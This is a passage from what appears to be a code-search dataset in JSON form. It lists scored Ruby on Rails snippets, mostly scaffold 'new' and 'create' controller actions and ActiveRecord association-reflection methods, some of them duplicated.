"text": "def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end",
"title": ""
},
{
"docid": "1869320eaa5539b6ae29e1d0b105f351",
"score": "0.6225721",
"text": "def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"title": ""
},
{
"docid": "954e9f5ea15a937fc5a2c89f00b3398b",
"score": "0.6208537",
"text": "def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end",
"title": ""
},
{
"docid": "8ed48268cd51a4e81047e9b0f48ad872",
"score": "0.6183755",
"text": "def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end",
"title": ""
},
{
"docid": "4c26716535714ddfdf977c381ac37855",
"score": "0.6177508",
"text": "def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"title": ""
},
{
"docid": "a83173640f77272bfb6f58a0a65c7e67",
"score": "0.61623085",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"title": ""
},
{
"docid": "459c438b2eab2688fb86c6e3a371f3fd",
"score": "0.6150704",
"text": "def new\n @travel_place = TravelPlace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel_place }\n end\n end",
"title": ""
},
{
"docid": "7ec5f34b1feb70f02568963bc63c14b5",
"score": "0.6139166",
"text": "def create\n @town_type = TownType.new(params[:town_type])\n\n respond_to do |format|\n if @town_type.save\n format.html { redirect_to(@town_type, :notice => 'Town type was successfully created.') }\n format.xml { render :xml => @town_type, :status => :created, :location => @town_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @town_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22dc12226554bc09bbf1ef8763f190bf",
"score": "0.6133628",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"title": ""
},
{
"docid": "32d23e457194194ed523de156ee89693",
"score": "0.6133288",
"text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "cf48ef72f5ee8071a0bca530ee6f6692",
"score": "0.6126042",
"text": "def new\n @web_location = WebLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_location }\n end\n end",
"title": ""
},
{
"docid": "6df525f45b675db8552efcc4e4457472",
"score": "0.6125049",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html { render :template => \"admin_sites/new\" }\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "242b08940ddec68d574b08dc4b8f8410",
"score": "0.61206985",
"text": "def new\n @localmap = Localmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @localmap }\n end\n end",
"title": ""
},
{
"docid": "d615495fb7aff2920199cb1591c32466",
"score": "0.61182094",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"title": ""
},
{
"docid": "7599801f8051a25101bcb4f80d24ffd5",
"score": "0.6117921",
"text": "def new\n @who_prefix = WhoPrefix.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @who_prefix }\n end\n end",
"title": ""
},
{
"docid": "b9fb178057187ef04904bdac318f7fa6",
"score": "0.61068445",
"text": "def new\n @tour = Tour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tour }\n end\n end",
"title": ""
},
{
"docid": "c870e3380e72e8cd15f626492a55ed51",
"score": "0.6085708",
"text": "def new\n @admin = Admin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin }\n end\n end",
"title": ""
},
{
"docid": "c870e3380e72e8cd15f626492a55ed51",
"score": "0.6085708",
"text": "def new\n @admin = Admin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin }\n end\n end",
"title": ""
},
{
"docid": "c870e3380e72e8cd15f626492a55ed51",
"score": "0.6085708",
"text": "def new\n @admin = Admin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin }\n end\n end",
"title": ""
},
{
"docid": "a324dc8994a072232fc8c297fcdf0502",
"score": "0.606631",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"title": ""
},
{
"docid": "c4ffbd8faae590a6841ec2edbdd844dc",
"score": "0.60654783",
"text": "def new\n @sti = Sti.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sti }\n end\n end",
"title": ""
},
{
"docid": "d6924dc963f3f693d61ca11a88eca8a6",
"score": "0.60620636",
"text": "def new\n @tdoc = Tdoc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tdoc }\n end\n end",
"title": ""
},
{
"docid": "136bc8d6e82677c418ed1eef9e24df48",
"score": "0.6058667",
"text": "def new\n @tipp = Tipp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipp }\n end\n end",
"title": ""
},
{
"docid": "88babba6248b0adc74559b83e911a650",
"score": "0.6044001",
"text": "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end",
"title": ""
},
{
"docid": "88babba6248b0adc74559b83e911a650",
"score": "0.6044001",
"text": "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end",
"title": ""
},
{
"docid": "afa429c920e975a4eb1ec6f76c54ee7c",
"score": "0.6028151",
"text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"title": ""
},
{
"docid": "685a98f929c633abe97b0c491b1fbb36",
"score": "0.60256064",
"text": "def new\n @origin = Origin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @origin }\n end\n end",
"title": ""
},
{
"docid": "21a45db0041828210bf9275fe6809683",
"score": "0.6025217",
"text": "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"title": ""
},
{
"docid": "da543d95433057d5801a9caa88c3f869",
"score": "0.60235554",
"text": "def new\n @t1 = T1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @t1 }\n end\n end",
"title": ""
},
{
"docid": "cd5bd59718eb3aeb477c7ce6904185c8",
"score": "0.60199887",
"text": "def new\n @tweet = Tweet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tweet }\n end\n end",
"title": ""
},
{
"docid": "1b7bd4c4da1990d9bf01f359303ac9c1",
"score": "0.6015382",
"text": "def create\n @moto_town_type = MotoTownType.new(params[:moto_town_type])\n\n respond_to do |format|\n if @moto_town_type.save\n format.html { redirect_to(@moto_town_type, :notice => 'Moto town type was successfully created.') }\n format.xml { render :xml => @moto_town_type, :status => :created, :location => @moto_town_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_town_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ba81c73c33779c2aea3b105b06dd4c8",
"score": "0.60112154",
"text": "def new\n @weather_location = WeatherLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @weather_location }\n end\n end",
"title": ""
},
{
"docid": "a0ffea34a1b9f2ebf2f7dbd47250c9e2",
"score": "0.6006331",
"text": "def new\n @tourist_sight = TouristSight.new\n\t\t@states = State.load_all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tourist_sight }\n end\n end",
"title": ""
},
{
"docid": "95497f42f44addd86b3989bd1c463ee5",
"score": "0.59980696",
"text": "def new\n @lotto_type = LottoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lotto_type }\n end\n end",
"title": ""
},
{
"docid": "4013cd1695f9bf2808ca481124e2c5df",
"score": "0.59962755",
"text": "def new\n @local = Local.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @local }\n end\n end",
"title": ""
},
{
"docid": "ad672b1f57a45fe4fab322976ecf50d2",
"score": "0.5995058",
"text": "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"title": ""
},
{
"docid": "bc0c8623fbec1941a13deab796822ac9",
"score": "0.5987041",
"text": "def new\n @station = Station.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @station }\n end\n end",
"title": ""
},
{
"docid": "e079526edc36fbe4a6016190d3acb1a7",
"score": "0.5977768",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @location }\n end\n end",
"title": ""
},
{
"docid": "86ab054e139374b5497c05b06dfd87b8",
"score": "0.5974072",
"text": "def new\n @way = Way.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @way }\n end\n end",
"title": ""
},
{
"docid": "359bb93db38a09e1df0036535af889a7",
"score": "0.59711856",
"text": "def new\n @turma = Turma.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @turma }\n end\n end",
"title": ""
},
{
"docid": "8d0c554d3e2516f00ad293871c4181b3",
"score": "0.5970864",
"text": "def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subway }\n end\n end",
"title": ""
},
{
"docid": "5015f3f8e270745099d306872e8fc841",
"score": "0.5968146",
"text": "def newAdmin\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"title": ""
},
{
"docid": "8eed8ae58d8bd5f5e41b7729b4a22b83",
"score": "0.59544677",
"text": "def new\n @tourpoint = Tourpoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tourpoint }\n end\n end",
"title": ""
},
{
"docid": "1fbc8bac6b0a6a21e0f7bba3cc1dacde",
"score": "0.5953702",
"text": "def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administration }\n end\n end",
"title": ""
},
{
"docid": "f703131c3d82c9bc5c8408f2843f0ec9",
"score": "0.59508467",
"text": "def new\n @moto_town_type_section = MotoTownTypeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_town_type_section }\n end\n end",
"title": ""
},
{
"docid": "c55caf3e5e4d95fa423f3c4d0e5f9298",
"score": "0.59483844",
"text": "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end",
"title": ""
},
{
"docid": "f3b1e6ee12a73ca28bd6bdb3f0056519",
"score": "0.59470165",
"text": "def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end",
"title": ""
},
{
"docid": "bb4ea3450f0e50e392ab713ff290514f",
"score": "0.59424",
"text": "def new\n @technician = Technician.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @technician }\n end\n end",
"title": ""
},
{
"docid": "57b3a6104ccd5d4f1e3ce9b2e50cdf2a",
"score": "0.5941432",
"text": "def new\n @tx = Tx.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx }\n end\n end",
"title": ""
},
{
"docid": "a33b1c3027f00fe7b632070f0fcb4106",
"score": "0.5937706",
"text": "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "452e06c8cb1fb328571604663a20688a",
"score": "0.59365934",
"text": "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "5d27b23c08a0beda4292da2f813df747",
"score": "0.5933455",
"text": "def new\n @wro = Wro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wro }\n end\n end",
"title": ""
},
{
"docid": "6608f1f008b555a832fcbbf1694c1244",
"score": "0.5933134",
"text": "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"title": ""
},
{
"docid": "463f26c89359eb0ffdb7c521dbdda2b4",
"score": "0.5931665",
"text": "def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "265696bf5a02b0261c861085e999f5b6",
"score": "0.59188855",
"text": "def new\n\t\t@user = User.new\n\t\t@addresses = Address.all\n\t\t@address = Address.new\n\t\t\n\t\twidok = 'new'\n\t\twidok = 'user_new' if !(admin_logged_in?)\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html { render widok } # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @user }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "52a3764fc3cea5169c5f1e6278564d36",
"score": "0.59162235",
"text": "def new\n @breadcrumb = 'create'\n @street_directory = StreetDirectory.new\n @towns = towns_dropdown\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @street_directory }\n end\n end",
"title": ""
},
{
"docid": "cc0824a70ea154db57315e24d6e4aacd",
"score": "0.5911815",
"text": "def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @county }\n end\n end",
"title": ""
},
{
"docid": "119fd2e9b8e9cb5a2c8527e6402c614e",
"score": "0.5908775",
"text": "def new\n @user_twin = UserTwin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_twin }\n end\n end",
"title": ""
},
{
"docid": "5a8ffdcf26764d791987e10e530b8291",
"score": "0.590672",
"text": "def create\n @trenton = Trenton.new(params[:trenton])\n\n respond_to do |format|\n if @trenton.save\n format.html { redirect_to about_path, notice: 'Page successfully set up!' }\n format.json { render json: @trenton, status: :created, location: @trenton }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trenton.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f445d29179c34f79bbff3925822860b1",
"score": "0.59051",
"text": "def new\n @administrativo = Administrativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administrativo }\n end\n end",
"title": ""
},
{
"docid": "3be1eff201fa8fb29201f65306243583",
"score": "0.590175",
"text": "def new\n @page_title = \"Task List New\"\n @task_list = TaskList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_list }\n end\n end",
"title": ""
},
{
"docid": "49c9ec2d59aa08047cc82a1969942c2e",
"score": "0.59014946",
"text": "def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.588995",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "a090ddaf839578568ed168d021c93cf0",
"score": "0.588995",
"text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "b4a9b514930420335c4520084ae1a554",
"score": "0.5886876",
"text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"title": ""
},
{
"docid": "eba69370c938fd0810c5469fec9f8796",
"score": "0.58868307",
"text": "def new\n @location = Location.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "7bf2ac9a5bd57ff2fa7af8bf7c6716ef",
"score": "0.5885891",
"text": "def new\n @technocal_client_address = TechnocalClientAddress.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @technocal_client_address }\n end\n end",
"title": ""
},
{
"docid": "8c9a9e435910c5c236309542ea5c3409",
"score": "0.5880157",
"text": "def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lore }\n end\n end",
"title": ""
},
{
"docid": "f5c41c11b3a091bb1e1ed752cf148a42",
"score": "0.5879703",
"text": "def new\n @taux_tva = TauxTva.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @taux_tva }\n end\n end",
"title": ""
},
{
"docid": "9d9df1bb4b5883f2d532c69ed80f29bf",
"score": "0.5878426",
"text": "def new\n\t@meta[:title] = \"DondeVoyAComer.com | Ingresar nuevo local de comida\"\n\t @current_page = \"add\"\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.5872454",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "2d5d616e3f2a0171231e2f7c0d0cf5dd",
"score": "0.58713895",
"text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end",
"title": ""
},
{
"docid": "e05dd760f9820c97ff8e4b74b92d5652",
"score": "0.58695525",
"text": "def new\n @tweak = Tweak.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tweak }\n end\n end",
"title": ""
},
{
"docid": "42bb7729d0ec814a89d10ede7a5a316a",
"score": "0.58692604",
"text": "def new\n @tservicio = Tservicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tservicio }\n end\n end",
"title": ""
}
] |
2e3391ce836daad29b51cc77e00f14f8
|
Returns the DummyAssociationReflection object for the +association+ (use the symbol). Account.reflect_on_association(:owner) returns the owner AssociationReflection Invoice.reflect_on_association(:line_items).macro returns :has_many
|
[
{
"docid": "132a789b64ee091953ab539c31ecec56",
"score": "0.7940435",
"text": "def reflect_on_association(association)\n reflection = reflections[association]\n reflection if reflection.is_a?(DummyAssociationReflection)\n end",
"title": ""
}
] |
[
{
"docid": "7aed59ea3df08e3d9661189212864ff3",
"score": "0.7608279",
"text": "def _reflect_on_association(association)\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n unless val\n # When a has_many is paired with a has_and_belongs_to_many the assocation will have a plural name\n association = association.to_s.pluralize.to_sym\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end\n val\n end",
"title": ""
},
{
"docid": "e4f6fc10a9fb0a99c8d6403c468d5177",
"score": "0.7548941",
"text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end",
"title": ""
},
{
"docid": "e4f6fc10a9fb0a99c8d6403c468d5177",
"score": "0.7548941",
"text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end",
"title": ""
},
{
"docid": "e4f6fc10a9fb0a99c8d6403c468d5177",
"score": "0.7548941",
"text": "def reflect_on_association(association)\n reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end",
"title": ""
},
{
"docid": "7c6748e0f7c92058d391461a0d50df3d",
"score": "0.74528986",
"text": "def reflect_on_association(association)\n reflection = reflections[association]\n reflection if reflection.is_a?(AssociationReflection)\n end",
"title": ""
},
{
"docid": "4173f6ba5a6adf77c1c469c135fc1511",
"score": "0.739014",
"text": "def reflect_on_association(association)\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n unless val\n # When a has_many is paired with a has_and_belongs_to_many the assocation will have a plural name\n association = association.to_s.pluralize.to_sym\n val = reflections[association].is_a?(AssociationReflection) ? reflections[association] : nil\n end\n val\n end",
"title": ""
},
{
"docid": "691f249e723aa861c15302e9e9fa269e",
"score": "0.72890735",
"text": "def reflect_on_association(association)\n reflections[association.to_s]\n end",
"title": ""
},
{
"docid": "691f249e723aa861c15302e9e9fa269e",
"score": "0.72890735",
"text": "def reflect_on_association(association)\n reflections[association.to_s]\n end",
"title": ""
},
{
"docid": "691f249e723aa861c15302e9e9fa269e",
"score": "0.72890735",
"text": "def reflect_on_association(association)\n reflections[association.to_s]\n end",
"title": ""
},
{
"docid": "fc48ec49a0378825a7bf40d6d1f32de1",
"score": "0.68270195",
"text": "def reflect_on_association(association)\n _reflect_on_association(association)\n end",
"title": ""
},
{
"docid": "4e37885b6a6ba82f972cfeb1d9bdbbb5",
"score": "0.6707399",
"text": "def reflect_on_association(association)\n Isomorphic::Lens::Association.new(factory, inflector, association, nil)\n end",
"title": ""
},
{
"docid": "c3b4bc5bb18d3090a86921cd0e21f088",
"score": "0.668345",
"text": "def reflect_on_association(name)\n association = associations[name]\n association ? association.macro : nil\n end",
"title": ""
},
{
"docid": "b30094948a9c3b9818809a8680131c4a",
"score": "0.66481525",
"text": "def reflect_on_association(name)\n association = associations[name.to_s]\n association ? association.macro : nil\n end",
"title": ""
},
{
"docid": "bfd56e44f80710efc21de2a48ae38c14",
"score": "0.66078424",
"text": "def reflect_on_association(name)\n self.class.reflect_on_association(name)\n end",
"title": ""
},
{
"docid": "e0b20fddd944c8c856940bd5992acc23",
"score": "0.6507197",
"text": "def _reflect_on_association(name)\n if name == :ingredient_association && !in?(@_classes_with_ingredient_association)\n OpenStruct.new(association_class: Alchemy::IngredientAssociation)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "95f40f93770ba1c0ea87d5aa6c44a438",
"score": "0.6497764",
"text": "def reflect_on_association(association); end",
"title": ""
},
{
"docid": "2b6ba6ce5e2e894a9b6e30b11701aad4",
"score": "0.644152",
"text": "def container_reflection\n @container_reflection ||= @owner.class._reflect_on_association(@reflection.options[:through])\n end",
"title": ""
},
{
"docid": "57b703b74c78c7a71017ff515b0bc6b4",
"score": "0.63906044",
"text": "def association_reflection(name)\n association_reflections[name]\n end",
"title": ""
},
{
"docid": "57b703b74c78c7a71017ff515b0bc6b4",
"score": "0.63906044",
"text": "def association_reflection(name)\n association_reflections[name]\n end",
"title": ""
},
{
"docid": "57b703b74c78c7a71017ff515b0bc6b4",
"score": "0.63906044",
"text": "def association_reflection(name)\n association_reflections[name]\n end",
"title": ""
},
{
"docid": "3cc9e08cabbc248eca38437488ac77a8",
"score": "0.63743335",
"text": "def collect_reflections(association_names)\n klass = self\n association_names.each_with_object([]) do |name, ret|\n reflection = klass.reflect_on_association(name)\n if reflection.nil?\n if klass.reflection_with_virtual(name)\n break(ret)\n else\n break\n end\n end\n klass = reflection.klass\n ret << reflection\n end\n end",
"title": ""
},
{
"docid": "ae077b274e94bba12b0ce3f86f5ccf8b",
"score": "0.6370316",
"text": "def scaffold_association(association)\n association_reflection(association)\n end",
"title": ""
},
{
"docid": "308c4da0cd7f464b28eefce5ca4f01c7",
"score": "0.63549614",
"text": "def reflect_on_association(association)\n append do\n self.class.new(factory, inflector, association, nil)\n end\n end",
"title": ""
},
{
"docid": "73eb5dbbb64352f921b4d896ee2a0889",
"score": "0.6277258",
"text": "def load_indirect_reflection(intermediate_model, indirect_association_name)\n indirect_reflection =\n intermediate_model.reflect_on_association(ActiveSupport::Inflector.singularize(indirect_association_name))\n\n if indirect_reflection.nil?\n raise InvalidAssociation.new(\n \"Indirect association '#{@indirect_association_name}' not found in \"\\\n \"intermediate model '#{intermediate_model.name}'\")\n end\n\n unless direct_reflection.macro == :has_many\n raise InvalidAssociation.new('Through associations must be `has_many`')\n end\n\n indirect_reflection\n end",
"title": ""
},
{
"docid": "258c8315fdcade9bdc62b7f938e7dc64",
"score": "0.62697935",
"text": "def reflect_on_association(name)\n if orm_association = klass.reflect_on_association(name)\n self.class.const_get(:Association).new(orm_association,self)\n end\n end",
"title": ""
},
{
"docid": "7369c2c6f680edaa98de824b733217a3",
"score": "0.61569566",
"text": "def association_reflections\n @association_reflections ||= {}\n end",
"title": ""
},
{
"docid": "7369c2c6f680edaa98de824b733217a3",
"score": "0.61569566",
"text": "def association_reflections\n @association_reflections ||= {}\n end",
"title": ""
},
{
"docid": "ee4fb3535c05be9d3c18575de6404dae",
"score": "0.61124647",
"text": "def assert_association(model, association, association_type)\n assert_includes model.reflections, association.to_s\n\n assert_equal association_type, model.reflections[association.to_s].macro\n end",
"title": ""
},
{
"docid": "9bd407a22a6c4620937fda8941188a8c",
"score": "0.60736996",
"text": "def container_association_proxy\n @owner.send(@reflection.options[:through])\n end",
"title": ""
},
{
"docid": "edbb9ce4aedecf03d2ed8d56c1096596",
"score": "0.6032085",
"text": "def get_object_through_has_one_association(owner, reflection)\n #TODO cached\n \n association = get_associations_for_object(owner, reflection)[0]\n \n return [] if association.nil?\n \n if association.first_type.to_s == owner.class.to_s \n [association.second_type.constantize.find(association.second_id)]\n else\n [association.first_type.constantize.find(association.first_id)]\n end\n end",
"title": ""
},
{
"docid": "31110ab759b86d049e55e756e3ad3f31",
"score": "0.6031438",
"text": "def reflect_on_association(name)\n ActiveRecordAssociationAdapter.for_association(associations[name]) if associations[name]\n end",
"title": ""
},
{
"docid": "7f114f29118ea4c6b11ba6424a16457b",
"score": "0.60256135",
"text": "def through_reflection\n active_record._reflect_on_association(options[:through])\n end",
"title": ""
},
{
"docid": "7f114f29118ea4c6b11ba6424a16457b",
"score": "0.60256135",
"text": "def through_reflection\n active_record._reflect_on_association(options[:through])\n end",
"title": ""
},
{
"docid": "8b4ddb086444573ffa8cac92c489261a",
"score": "0.6003797",
